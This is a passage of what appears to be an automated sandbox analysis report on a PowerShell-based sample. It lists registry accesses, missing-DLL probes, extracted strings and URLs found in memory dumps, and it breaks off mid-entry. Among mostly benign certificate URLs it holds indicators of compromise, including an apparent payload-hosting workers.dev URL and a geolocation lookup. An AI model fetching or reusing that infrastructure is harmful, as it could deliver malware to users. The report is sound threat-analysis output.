NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\POWERSHELL\3\POWERSHELLENGINE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OFFLOAD"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE\ALTERNATE SORTS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WSMAN"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\PROPERTYBAG"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\KNOWNFOLDERSETTINGS"; Key: ""; Value: "")40:Tab4,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2026"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POWERSHELL\3\POWERSHELLENGINE"; Key: "APPLICATIONBASE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER TYPES\TYPE 001"; Key: "NAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: "TYPE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT STRONG CRYPTOGRAPHIC PROVIDER"; Key: "IMAGE PATH"; Value: "")41:Tabc,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll"42:Tb87,"powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\%NVM_HOME%" "powershell.exe" trying to access non-existent file "C:\Windows\System32\%NVM_SYMLINK%" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML"43:T473,"2.5.29.37" "2.5.29.35" "2.8.20.0" "192.168.0.2" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" "3.0.0.0" "1.1.0.1" Potential IP "4.0.0.0" found in string "Maximum number of drives allowed in a sessionnonon=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" Potential IP "4.0.0.0" found in string "ystem.Configuration,4.0.0.0,,b03f5f7f11d50a3a" Potential IP "4.0.0.0" found in string "ystem.Transactions,4.0.0.0,,b77a5c561934e089" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.31" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.14" "2.5.29.15" "2.5.29.32" "2.5.29.17" "2.5.29.1" "2.5.4.3" "2.5.29.10" "2.5.29.16" "2.5.4.10" "2.5.4.11" "2.5.4.6" "2.5.4.8" "2.5.4.7" "2.5.4.5" "1.0.0.1" Potential IP "4.0.0.0" found in string "ion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL"/>", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture=n"44:T1dbb,Heuristic match: "geoplugin.net" Heuristic match: "/json.gp" Pattern match: "https://blue-paper-f69f.acrypters.workers.dev/ftm0-40po-ao28-g98e/img_02cwp8.png" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "tem.co" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "enpierce=$corporatism=[system.tel" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.security/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.security.dll" Heuristic match: "$this.resolvedcommand.name" Heuristic match: "$this.name + -> + $this.resolvedcommand.name" Heuristic match: "$this.name" Heuristic match: "$commandname = $this.name" Heuristic match: "$this.userinfo.identity.name" Heuristic match: "$this.userinfo.windowsidentity.name" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "ystem.management.automation.re" Heuristic match: "ed.it" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://www.microsoft.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "l.globalsign.net/root.crs" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.c" Pattern match: "cert.startcom.org/policy.pdf05" Pattern match: "t.net/cps" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Heuristic match: "ay.gd" Pattern match: "oft.com/pki/cert" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pl" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20tls%20ecc%20root%20g2.crl" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "t.automation.re" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Heuristic match: "d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0"45:T57c5,Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0f[+j0dikttp:l.miprod*/mict2011_20" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt01.3.36.3.3.2.8.1.1.9@eckp@1.2.156.11235.1.1.2.1@eckp1.2.840.10045.3.1.2ecdp1.2.840.10045.3.1.6ecdp1.2.840.10045.3.1.1ecdp1.3.36.3.3.2.8.1.1.7@eckp1.2.156.11235.1.1.2.1ecdp1.2.840.10045.3.1.2@eckp1.3.36.3.3.2.8.1.1.14ecdp1.2.840.10045.3.1.5ecdp1.3.36.3.3.2.8.1.1.10@eckp@34e0ca" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt012053115" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/plwashington1redmond1microsoft" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005788.00000000.155566.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005788.00000000.155566.9EBE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005788.00000000.155566.9EBE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005788.00000000.155566.9EBE0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005788.00000000.155566.FDE92000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20tls%20ecc%20root%20g2.crljhttp" - Source: "00000000-00005788.00000001.156236.84270000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: 